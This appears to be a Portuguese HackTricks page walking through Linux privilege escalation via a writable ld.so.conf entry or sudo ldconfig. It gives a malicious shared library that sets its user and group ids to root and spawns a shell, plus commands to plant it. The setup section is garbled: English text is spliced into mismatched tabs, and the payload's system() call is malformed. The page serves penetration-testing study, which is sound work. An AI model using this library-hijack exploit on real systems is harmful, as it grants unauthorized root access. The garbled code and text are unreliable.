11 KiB
Exemplo de exploração de privilégios ld.so
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Você trabalha em uma empresa de segurança cibernética? Você quer ver sua empresa anunciada no HackTricks? ou você quer ter acesso à última versão do PEASS ou baixar o HackTricks em PDF? Verifique os PLANOS DE ASSINATURA!
- Descubra A Família PEASS, nossa coleção exclusiva de NFTs
- Adquira o swag oficial do PEASS & HackTricks
- Junte-se ao 💬 grupo Discord ou ao grupo telegram ou siga-me no Twitter 🐦@carlospolopm.
- Compartilhe suas técnicas de hacking enviando PRs para o repositório hacktricks e repositório hacktricks-cloud.
Preparar o ambiente
Na seção a seguir, você pode encontrar o código dos arquivos que vamos usar para preparar o ambiente
{% tabs %} {% tab title="sharedvuln.c" %}
#include <stdio.h>
#include "libcustom.h"
int main(){
printf("Welcome to my amazing application!\n");
vuln_func();
return 0;
}
{% endtab %}
{% tab title="ld.so.conf Example" %}
ld.so.conf Example
This file is used by the dynamic linker/loader (ld-linux.so
) to determine the libraries that need to be loaded for a given executable. It contains a list of directories where shared libraries are located.
An attacker can modify this file to add a directory containing a malicious shared library. When a privileged program is executed, the dynamic linker/loader will load the malicious library, which can lead to privilege escalation.
To prevent this type of attack, ensure that the ld.so.conf
file is owned by root
and has the correct permissions (644
). Additionally, only trusted directories should be added to the file.
Example ld.so.conf
file:
# Begin /etc/ld.so.conf
/usr/local/lib
/opt/lib
/home/user/lib
# End /etc/ld.so.conf
In this example, the directories /usr/local/lib
, /opt/lib
, and /home/user/lib
are trusted directories where shared libraries can be located.
#include <stdio.h>
void vuln_func();
{% endtab %}
{% tab title="ld.so.conf" %}
ld.so.conf(5)
This file contains a list of directories, in the order they are searched
for libraries by the ld.so(8) and ld-linux.so(8) dynamic linkers.
/usr/local/lib64 is the default location for locally installed shared
libraries, and may be added to this file.
See ld.so.conf(5) for details.
Multiarch support
/lib/x86_64-linux-gnu /usr/lib/x86_64-linux-gnu /lib/i386-linux-gnu /usr/lib/i386-linux-gnu
Custom libraries
/opt/custom-libs/lib
Include another configuration file
include /etc/ld.so.conf.d/*.conf {% endtab %}
{% tab title="ldconfig" %}
ldconfig - configure dynamic linker run-time bindings
ldconfig creates the necessary links and cache to the most recent shared
libraries found in the directories specified on the command line, in the
file /etc/ld.so.conf, and in the trusted directories (/usr/lib and /lib).
ldconfig checks the header and file names of the libraries it encounters
when determining which versions should have their links updated.
See ldconfig(8) for details.
/sbin/ldconfig.real "$@" {% endtab %}
{% tab title="Makefile" %} all: gcc -fPIC -shared -o libcustom.so libcustom.c cp libcustom.so /opt/custom-libs/lib/ echo "/opt/custom-libs/lib" > /etc/ld.so.conf.d/custom-libs.conf ldconfig clean: rm -f libcustom.so rm -f /opt/custom-libs/lib/libcustom.so rm -f /etc/ld.so.conf.d/custom-libs.conf ldconfig {% endtab %}
#include <stdio.h>
void vuln_func()
{
puts("Hi");
}
{% endtab %} {% endtabs %}
- Crie esses arquivos em sua máquina na mesma pasta
- Compile a biblioteca:
gcc -shared -o libcustom.so -fPIC libcustom.c
- Copie
libcustom.so
para/usr/lib
:sudo cp libcustom.so /usr/lib
(privilégios de root) - Compile o executável:
gcc sharedvuln.c -o sharedvuln -lcustom
Verifique o ambiente
Verifique se libcustom.so está sendo carregada de /usr/lib e se você pode executar o binário.
$ ldd sharedvuln
linux-vdso.so.1 => (0x00007ffc9a1f7000)
libcustom.so => /usr/lib/libcustom.so (0x00007fb27ff4d000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fb27fb83000)
/lib64/ld-linux-x86-64.so.2 (0x00007fb28014f000)
$ ./sharedvuln
Welcome to my amazing application!
Hi
Exploração
Neste cenário, vamos supor que alguém criou uma entrada vulnerável dentro de um arquivo em /etc/ld.so.conf/:
sudo echo "/home/ubuntu/lib" > /etc/ld.so.conf.d/privesc.conf
A pasta vulnerável é /home/ubuntu/lib (onde temos acesso de escrita).
Baixe e compile o seguinte código dentro desse caminho:
//gcc -shared -o libcustom.so -fPIC libcustom.c
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
void vuln_func(){
setuid(0);
setgid(0);
printf("I'm the bad library\n");
system("/bin/sh",NULL,NULL);
}
Agora que criamos a biblioteca maliciosa libcustom dentro do caminho mal configurado, precisamos esperar por um reinício ou para que o usuário root execute ldconfig
(caso você possa executar esse binário como sudo ou ele tenha o bit suid, você poderá executá-lo sozinho).
Uma vez que isso tenha acontecido, verifique novamente de onde o executável sharevuln
está carregando a biblioteca libcustom.so
:
$ldd sharedvuln
linux-vdso.so.1 => (0x00007ffeee766000)
libcustom.so => /home/ubuntu/lib/libcustom.so (0x00007f3f27c1a000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f3f27850000)
/lib64/ld-linux-x86-64.so.2 (0x00007f3f27e1c000)
Como você pode ver, ele está carregando a biblioteca de /home/ubuntu/lib
e se algum usuário a executar, um shell será executado:
$ ./sharedvuln
Welcome to my amazing application!
I'm the bad library
$ whoami
ubuntu
{% hint style="info" %} Observe que neste exemplo não escalamos privilégios, mas modificando os comandos executados e esperando que o root ou outro usuário privilegiado execute o binário vulnerável, seremos capazes de escalar privilégios. {% endhint %}
Outras configurações incorretas - Mesma vulnerabilidade
No exemplo anterior, simulamos uma configuração incorreta em que um administrador definiu uma pasta não privilegiada dentro de um arquivo de configuração dentro de /etc/ld.so.conf.d/
.
Mas existem outras configurações incorretas que podem causar a mesma vulnerabilidade, se você tiver permissões de escrita em algum arquivo de configuração dentro de /etc/ld.so.conf.d
, na pasta /etc/ld.so.conf.d
ou no arquivo /etc/ld.so.conf
, você pode configurar a mesma vulnerabilidade e explorá-la.
Explorar 2
Suponha que você tenha privilégios sudo sobre ldconfig
.
Você pode indicar ao ldconfig
onde carregar os arquivos de configuração, então podemos aproveitar isso para fazer o ldconfig
carregar pastas arbitrárias.
Então, vamos criar os arquivos e pastas necessários para carregar "/tmp":
cd /tmp
echo "include /tmp/conf/*" > fake.ld.so.conf
echo "/tmp" > conf/evil.conf
Agora, como indicado no exploit anterior, crie a biblioteca maliciosa dentro de /tmp
.
E finalmente, vamos carregar o caminho e verificar de onde o binário está carregando a biblioteca:
ldconfig -f fake.ld.so.conf
ldd sharedvuln
linux-vdso.so.1 => (0x00007fffa2dde000)
libcustom.so => /tmp/libcustom.so (0x00007fcb07756000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fcb0738c000)
/lib64/ld-linux-x86-64.so.2 (0x00007fcb07958000)
Como você pode ver, tendo privilégios sudo sobre ldconfig
, você pode explorar a mesma vulnerabilidade.
{% hint style="info" %}
Eu não encontrei uma maneira confiável de explorar essa vulnerabilidade se ldconfig
estiver configurado com o bit suid. O seguinte erro aparece: /sbin/ldconfig.real: Can't create temporary cache file /etc/ld.so.cache~: Permission denied
{% endhint %}
Referências
- https://www.boiteaklou.fr/Abusing-Shared-Libraries.html
- https://blog.pentesteracademy.com/abusing-missing-library-for-privilege-escalation-3-minute-read-296dcf81bec2
- Máquina Dab em HTB
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Você trabalha em uma empresa de segurança cibernética? Você quer ver sua empresa anunciada no HackTricks? ou quer ter acesso à última versão do PEASS ou baixar o HackTricks em PDF? Verifique os PLANOS DE ASSINATURA!
- Descubra A Família PEASS, nossa coleção exclusiva de NFTs
- Adquira o swag oficial do PEASS & HackTricks
- Junte-se ao 💬 grupo Discord ou ao grupo telegram ou siga-me no Twitter 🐦@carlospolopm.
- Compartilhe suas técnicas de hacking enviando PRs para o repositório hacktricks e para o repositório hacktricks-cloud.